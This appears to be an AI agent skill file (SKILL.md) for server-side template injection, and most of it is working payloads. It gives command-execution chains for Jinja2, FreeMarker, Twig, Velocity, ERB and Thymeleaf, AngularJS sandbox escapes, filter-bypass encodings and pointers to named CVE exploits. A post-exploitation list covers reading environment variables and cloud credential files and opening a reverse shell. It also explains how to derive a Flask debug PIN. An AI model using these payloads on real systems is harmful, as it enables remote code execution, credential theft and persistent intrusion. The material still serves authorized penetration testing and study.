SKILL.md
$27
Also load SCENARIOS.md when you need:
- Maccms 8.x PHP template
eval—{if-A:phpinfo()}{endif-A}invod-search, base64 bypass for webshell write
- Jira CVE-2019-11581 — "Contact Administrators" form → Velocity template injection → command output in admin email
- Spring Cloud Gateway SpEL (CVE-2022-22947) — actuator route injection with
StreamUtils.copyToByteArrayfor output capture
- Struts2 OGNL S2-045 (CVE-2017-5638) — Content-Type header OGNL injection with
_memberAccess/OgnlUtilblacklist clear
- Confluence OGNL CVE-2021-26084 —
createpage-entervariables.actionwith\u0027unicode bypass
- SSTI vs EL injection disambiguation guide
- Additional template engines: ASP.NET Razor, Elixir EEx, PHP Smarty/Latte/Blade, JS Pug/Handlebars/Nunjucks/EJS/Lodash + universal detection + blind SSTI + Flask PIN calculation
SCENARIOS.md reference (§7–§11): For expanded payloads and engine-specific notes on Razor, EEx/LEEx/HEEx, PHP stacks, JavaScript template engines, the universal polyglot probe, mathematical fingerprinting, blind SSTI (boolean / time / OOB), and Flask debug PIN prerequisites, see SCENARIOS.md. This skill keeps a short checklist in §13–§15.
Engine Payloads Reference
For extended engine-specific fingerprinting, payload matrices (Jinja2, Twig, Freemarker, Velocity, Pebble, Mako, Slim, Handlebars, Thymeleaf, Smarty, ERB, Jade/Pug), and blind SSTI detection techniques (timing-based, DNS-based), see ENGINE_PAYLOADS.md.
Universal detection & blind SSTI (pointer)
Use the polyglot payload and math probes in §1 and §13 first; when you need fuller blind-test patterns and per-engine examples (including non-Python stacks), follow SCENARIOS.md §11 and cross-check §14 here for technique names (boolean, time, OOB, error-based).
1. DETECTION — POLYGLOT PROBE SEQUENCE
First test: distinguish SSTI from XSS. Send these probes and check if math is evaluated server-side:
{{7*7}} → IF returns 49 (not {{7*7}}) → Jinja2 or Twig
${7*7} → IF returns 49 → FreeMarker, Velocity, or Java EL
#{7*7} → Ruby (ERB interpolation in strings)
<#assign x=7*7>${x} → FreeMarker
@{7*7} → Thymeleaf
*{7*7} → Thymeleaf SpEL (*{...})
Jinja2 vs Twig disambiguation:
{{7*'7'}}
→ 7777777 = Jinja2 (Python string multiplication)
→ 49 = Twig (PHP numeric)
Safe detection probe (no math, just boolean):
{{''.__class__}} → class 'str' = Python/Jinja2
2. ENGINE-TO-LANGUAGE MAPPING
Template Engine
Language
Framework
Jinja2
Python
Flask, FastAPI
Django Templates
Python
Django
Mako
Python
Pyramid
Twig
PHP
Symfony, Laravel
Smarty
PHP
Various
FreeMarker
Java
Spring MVC
Velocity
Java
Various Java
Pebble
Java
Various Java
Thymeleaf
Java
Spring Boot
ERB
Ruby
Rails
Slim / Haml
Ruby
Rails
Jade / Pug
Node.js
Express
Handlebars
Node.js
Express
Tornado
Python
Tornado
Identifying language from errors → then narrow to template engine.
3. JINJA2 (PYTHON FLASK) — RCE CHAINS
Chain 1: os module via __globals__
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Chain 2: MRO subclass traversal (sandbox escape)
# List all subclasses:
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen index (usually around 258-270, varies by Python version):
# Look for "subprocess.Popen" in the list
# Execute command (replace [258] with correct index):
{{''.__class__.__mro__[1].__subclasses__()[258]('id', shell=True, stdout=-1).communicate()[0]}}
Chain 3: request object globals (works when config blocked)
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
(Uses hex encoding to avoid _ filtering)
Chain 4: lipsum function globals (Flask built-in)
{{lipsum.__globals__.os.popen('id').read()}}
Chain 5: cycler object
{{cycler.__init__.__globals__.os.popen('id').read()}}
Finding correct subprocess index dynamically:
# In injection:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{loop.index}}
{% endif %}
{% endfor %}
4. JINJA2 SANDBOX BYPASS TECHNIQUES
When _ (underscore) is blocked:
# Use attr filter with hex encoding:
''|attr('\x5f\x5fclass\x5f\x5f')
# Use getattr via request object:
request|attr('args')|attr('__class__')
When . (dot) is blocked:
# Use [] subscript notation:
''['__class__']
config['SECRET_KEY']
When keywords (class, mro) are blocked:
Use hex/unicode in attr():
|attr('\x5f\x5fclass\x5f\x5f')
|attr('\x5f\x5fm\x72\x6F\x5f\x5f')
When output encoding strips HTML entities:
Use |safe filter to prevent auto-escaping.
5. FREEMARKER (JAVA) — RCE
Execute Command via freemarker.template.utility.Execute
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
Alternative via ObjectConstructor:
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))>
${br.readLine()}
6. TWIG (PHP) — RCE
// Twig 1.x (before sandbox):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
// Twig 2.x using built-ins:
{{['id']|map('system')|join}}
// via filter map:
{{app.request.server.all|join(',')}}
7. VELOCITY (JAVA) — RCE
#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null))
#set($run=$str.exec("id"))
#set($out=$run.inputStream)
Or more directly:
#set($class=$currentNode.getClass())
#set($rt=$class.forName("java.lang.Runtime"))
#set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id"))
8. ERB (RUBY RAILS) — RCE
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>
9. THYMELEAF (JAVA SPRING) — RCE
Thymeleaf with Spring EL (SpEL):
// In th:text or th:fragment context:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::type
// Fragment expression context:
__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type
10. CLIENT-SIDE TEMPLATE INJECTION (AngularJS)
When AngularJS is used client-side and user data flows into template expressions:
// AngularJS 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}
// 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
// 1.3.x:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
Detection: send {{1+1}} — if page shows 2, AngularJS evaluates expressions in the DOM.
11. SSTI → FULL RCE PATH
SSTI detected → identify engine
├── Jinja2 → config.__globals__['os'].popen()
│ OR subclass traversal for Popen
├── FreeMarker → freemarker.template.utility.Execute?new()
├── Twig → _self.env.registerUndefinedFilterCallback('exec')
├── Velocity → java.lang.Runtime.exec()
├── ERB → <%= `cmd` %>
├── Thymeleaf → T(java.lang.Runtime).getRuntime().exec()
└── Angular CSTI → constructor.constructor('payload')()
Post-RCE pivot:
- Read
/proc/self/environ— env vars with credentials
- Read application config files — DB passwords, API keys
cat ~/.aws/credentials— cloud credentials
- Reverse shell for persistence
12. COMMON INJECTION ENTRY POINTS
Where user data enters templates:
- URL path:
https://site.com/home?name={{7*7}}
- Query parameters:
?message=Hello
- HTML forms: profile name, bio, content fields
- Error pages:
404 Not Found: /PAYLOAD
- Email templates: name in password reset emails
- Inline template rendering:
render_template_string(user_input)
Most dangerous: render_template_string() in Flask — entire user input used as template.
13. UNIVERSAL DETECTION PAYLOADS
Polyglot probe that triggers errors or evaluation in many engines:
${{<%[%'"}}%\.
Mathematical probes for blind/error confirmation:
{{7*7}} → 49 (Jinja2, Twig, Nunjucks, Handlebars)
${7*7} → 49 (FreeMarker, Velocity, EL, Thymeleaf)
<%= 7*7 %> → 49 (ERB, EJS, EEx)
#{7*7} → 49 (Pug, Ruby interpolation)
@(7*7) → 49 (Razor)
{7*7} → 49 (Smarty)
Error-based engine fingerprint (parser/stack traces often name the engine):
(1/0).zxy.zxy
14. BLIND SSTI TECHNIQUES
- Boolean-based: Compare
(3*4/2)vs3*)2(/4— if the first resolves and the second errors, evaluation is likely
- Time-based:
{{sleep(5)}}or the engine-specific equivalent for delay
- OOB: DNS/HTTP callback via template expressions when direct output is not visible
- Error-based: Force different error messages based on true/false conditions
15. FLASK PIN CALCULATION
When Flask debug mode (Werkzeug debugger) is exposed but PIN-protected, the PIN is derived from host-specific values. Typical inputs for public PIN calculation scripts:
- **
username** — from/etc/passwd(the user running the Flask process)
- Module name — often
flask.apporFlask
- Application path —
app.pyor the real main filename
- MAC address — e.g.
/sys/class/net/eth0/address, converted to decimal as Werkzeug expects
- Machine ID —
/etc/machine-id, or/proc/sys/kernel/random/boot_idcombined with the first line of/proc/self/cgroupper Werkzeug’s algorithm
- Compute PIN — use established open-source PIN calculators that implement the same algorithm from these values
Use only on systems you are authorized to test; obtaining these values implies prior access or an additional info-disclosure vector.